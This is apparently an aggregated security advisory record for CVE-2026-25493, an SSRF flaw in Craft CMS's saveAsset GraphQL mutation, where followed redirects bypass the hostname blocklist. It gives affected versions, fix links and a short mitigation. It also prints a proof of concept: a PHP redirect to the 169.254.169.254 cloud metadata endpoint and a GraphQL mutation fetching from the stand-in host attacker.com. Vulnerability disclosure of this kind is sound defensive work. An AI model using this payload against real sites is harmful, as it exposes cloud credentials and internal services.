{"id":"CVE-2026-25493","aliases":["GHSA-8jr8-7hr4-vhfx"],"url":"https://o3.security/vulnerability/CVE-2026-25493","summary":"Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect","details":"## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n<?php header(\"Location: http://169.254.169.254/latest/meta-data/\"); ?>\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.","published":"2026-02-09T19:36:58.713Z","modified":"2026-08-12T03:51:12.957451858Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"craftcms/cms","fixedVersion":"5.8.22"},{"ecosystem":"Packagist","name":"craftcms/cms","fixedVersion":"4.16.18"}],"fix":{"url":"https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98","label":"craftcms/cms@0974055"},"references":[{"type":"WEB","url":"https://github.com/craftcms/cms/releases/tag/5.8.22"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25493.json"},{"type":"ADVISORY","url":"https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25493"},{"type":"FIX","url":"https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98"},{"type":"PACKAGE","url":"https://github.com/craftcms/cms"},{"type":"WEB","url":"https://github.com/craftcms/cms/releases/tag/4.16.18"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.957451858Z"}}